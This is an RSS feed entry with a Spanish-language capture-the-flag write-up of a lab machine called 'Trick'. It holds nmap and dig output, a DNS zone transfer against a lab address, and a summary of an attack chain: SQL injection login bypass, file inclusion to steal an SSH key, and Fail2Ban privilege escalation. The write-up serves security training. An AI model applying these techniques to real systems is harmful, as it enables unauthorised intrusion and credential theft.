<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>SQL Injection on</title><link>https://synacklabs.github.io/tags/sql-injection/</link><description>Recent content in SQL Injection on</description><generator>Hugo -- gohugo.io</generator><language>es-es</language><lastBuildDate>Thu, 22 Jan 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://synacklabs.github.io/tags/sql-injection/index.xml" rel="self" type="application/rss+xml"/><managingEditor>admin@synacklabs.github.io (SynAckLabs)</managingEditor><webMaster>admin@synacklabs.github.io (SynAckLabs)</webMaster><item><title>Trick (Easy)</title><link>https://synacklabs.github.io/posts/trick/</link><pubDate>Thu, 22 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/trick/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina Linux expone varios servicios web y DNS. Comienzo enumerando DNS donde encuentro una transferencia de zona que revela subdominios ocultos. En uno de ellos, abuso de una &lt;strong&gt;SQL Injection&lt;/strong&gt; para acceder a un panel administrativo y obtener credenciales, aunque no son útiles para SSH. En un segundo subdominio, exploto un &lt;strong&gt;LFI (Local File Inclusion)&lt;/strong&gt; con bypass de filtros para exfiltrar una clave SSH privada. Finalmente, escalo privilegios abusando de permisos de escritura en la configuración de &lt;strong&gt;Fail2Ban&lt;/strong&gt; y mi capacidad de reiniciar el servicio con &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina Linux expone varios servicios web y DNS. Comienzo enumerando DNS donde encuentro una transferencia de zona que revela subdominios ocultos. En uno de ellos, abuso de una &lt;strong&gt;SQL Injection&lt;/strong&gt; para acceder a un panel administrativo y obtener credenciales, aunque no son útiles para SSH. En un segundo subdominio, exploto un &lt;strong&gt;LFI (Local File Inclusion)&lt;/strong&gt; con bypass de filtros para exfiltrar una clave SSH privada. Finalmente, escalo privilegios abusando de permisos de escritura en la configuración de &lt;strong&gt;Fail2Ban&lt;/strong&gt; y mi capacidad de reiniciar el servicio con &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-8010-b2a5-dfb150ac841c.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="escaneo-y-reconocimiento"&gt;Escaneo y Reconocimiento&lt;/h2&gt;
&lt;p&gt;Comienzo con un escaneo básico de servicios. Detecto SSH, DNS y un servidor Web Nginx.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;.9p1 Debian &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;+deb10u2 (protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;61&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ff&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;29&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;3b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;36&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;bd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ac&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;fb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;de&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1f&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;88&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4c&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ae&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2d&lt;/span&gt; (RSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5Rh57OmAndXFukHce0Tr4BL8CWC8yACwWdu8VZcBPGuMUH8VkvzqseeC8MYxt5SPL1aJmAsZSgOUreAJNlYNBBKjMoFwyDdArWhqDThlgBf6aqwqMRo3XWIcbQOBkrisgqcPnRKlwh+vqArsj5OAZaUq8zs7Q3elE6HrDnj779JHCc5eba+DR+Cqk1u4JxfC6mGsaNMAXoaRKsAYlwf4Yjhonl6A6MkWszz7t9q5r2bImuYAC0cvgiHJdgLcr0WJh+lV8YIkPyya1vJFp1gN4Pg7I6CmMaiWSMgSem5aVlKmrLMX10MWhewnyuH2ekMFXUKJ8wv4DgifiAIvd6AGR
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; 9e&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;cd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f2&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;61&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;96&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ea&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;21&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a6&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ce&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;02&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;af&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;75&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;9a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;78&lt;/span&gt; (ECDSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAoXvyMKuWhQvWx52EFXK9ytX/pGmjZptG8Kb+DOgKcGeBgGPKX3ZpryuGR44av0WnKP0gnRLWk7UCbqY3mxXU0=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;72&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;93&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;58&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;de&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;34&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ad&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;73&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;70&lt;/span&gt; (ED25519)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGY1WZWn9xuvXhfxFFm82J9eRGNYJ9NnfzECUm0faUXm
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;25&lt;/span&gt;/tcp open smtp? syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_smtp-commands: Couldn&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt;t establish connection on port &lt;span style="color:#ae81ff"&gt;25&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;/tcp open domain syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; ISC BIND &lt;span style="color:#ae81ff"&gt;9.11&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;-P4-&lt;span style="color:#ae81ff"&gt;5.1&lt;/span&gt;+deb10u7 (Debian Linux)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| dns-nsid&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ bind.version&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;9.11&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;-P4-&lt;span style="color:#ae81ff"&gt;5.1&lt;/span&gt;+deb10u7-Debian
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; nginx &lt;span style="color:#ae81ff"&gt;1.14&lt;/span&gt;.2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; GET HEAD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-favicon: Unknown favicon MD5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 556F31ACD686989B1AFCF382C05846AA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: nginx/&lt;span style="color:#ae81ff"&gt;1.14&lt;/span&gt;.2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Coming Soon - Start Bootstrap Theme
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Linux; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:linux&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enumeración-web-puerto-80"&gt;Enumeración Web (Puerto 80)&lt;/h3&gt;
&lt;p&gt;Al visitar la web principal en el puerto 80, encuentro una página &amp;ldquo;Coming Soon&amp;rdquo; sin funcionalidad aparente. Identifico que corre sobre &lt;strong&gt;Nginx 1.14.2&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80da-9483-d666c3dfcfea.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="enumeración-dns-puerto-53"&gt;Enumeración DNS (Puerto 53)&lt;/h3&gt;
&lt;p&gt;Dado que el puerto 53 está abierto, realizo una búsqueda inversa (reverse lookup) para identificar el nombre de dominio de la máquina.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dig @10.129.95.104 -x &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.95.104
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG &lt;span style="color:#ae81ff"&gt;9.20&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; @10.129.95.104 -x &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.95.104
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;; (&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; server found)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; global options&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; +cmd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; Got answer&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; QUERY, status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; NOERROR, id&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;46316&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; flags&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; qr aa rd; QUERY&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, ANSWER&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, AUTHORITY&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, ADDITIONAL&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; WARNING&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; recursion requested but not available
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; OPT PSEUDOSECTION&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;; EDNS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; version&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, flags&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;; udp&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;; COOKIE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 5e0ee3a854962e4cc522bb9469725f8b9fb68186fcd1fb04 (good)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; QUESTION SECTION&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;&lt;span style="color:#ae81ff"&gt;104.95&lt;/span&gt;.129.10.in-addr.arpa. &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; PTR
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; ANSWER SECTION&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;104.95&lt;/span&gt;.129.10.in-addr.arpa. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; PTR trick.htb.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; AUTHORITY SECTION&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;95.129&lt;/span&gt;.10.in-addr.arpa. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; NS trick.htb.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; ADDITIONAL SECTION&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; A &lt;span style="color:#ae81ff"&gt;127.0&lt;/span&gt;.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; AAAA ::&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; Query time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;204&lt;/span&gt; msec
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; SERVER&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.95.&lt;span style="color:#ae81ff"&gt;104&lt;/span&gt;&lt;span style="color:#75715e"&gt;#53(10.129.95.104) (UDP)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; WHEN&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Thu Jan &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;33&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;54&lt;/span&gt; CET &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; MSG SIZE rcvd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;164&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con el dominio &lt;code&gt;trick.htb&lt;/code&gt; identificado, intento una transferencia de zona (&lt;strong&gt;AXFR&lt;/strong&gt;) para listar todos los subdominios configurados.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dig axfr trick.htb @10.129.95.104
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG &lt;span style="color:#ae81ff"&gt;9.20&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; axfr trick.htb @10.129.95.104
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; global options&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; +cmd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; SOA trick.htb. root.trick.htb. &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;86400&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2419200&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; NS trick.htb.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; A &lt;span style="color:#ae81ff"&gt;127.0&lt;/span&gt;.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; AAAA ::&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;preprod-payroll.trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; CNAME trick.htb.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; SOA trick.htb. root.trick.htb. &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;86400&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2419200&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; Query time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;40&lt;/span&gt; msec
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; SERVER&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.95.&lt;span style="color:#ae81ff"&gt;104&lt;/span&gt;&lt;span style="color:#75715e"&gt;#53(10.129.95.104) (TCP)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; WHEN&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Thu Jan &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;36&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt; CET &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; XFR size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; records (messages &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, bytes &lt;span style="color:#ae81ff"&gt;231&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Encuentro un subdominio interesante: &lt;code&gt;preprod-payroll.trick.htb&lt;/code&gt;. Lo añado a mi &lt;code&gt;/etc/hosts&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="acceso-inicial"&gt;Acceso Inicial&lt;/h2&gt;
&lt;h3 id="sql-injection-en-preprod-payroll"&gt;SQL Injection en Preprod-Payroll&lt;/h3&gt;
&lt;p&gt;Al acceder a &lt;code&gt;preprod-payroll.trick.htb&lt;/code&gt;, me encuentro con un panel de login. Pruebo una inyección SQL básica para intentar bypassear la autenticación.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80b5-af30-cf69867e319e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-800c-b199-eb24c7ead9e4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;¡Éxito! Accedo al panel administrativo de gestión de nóminas.&lt;/p&gt;
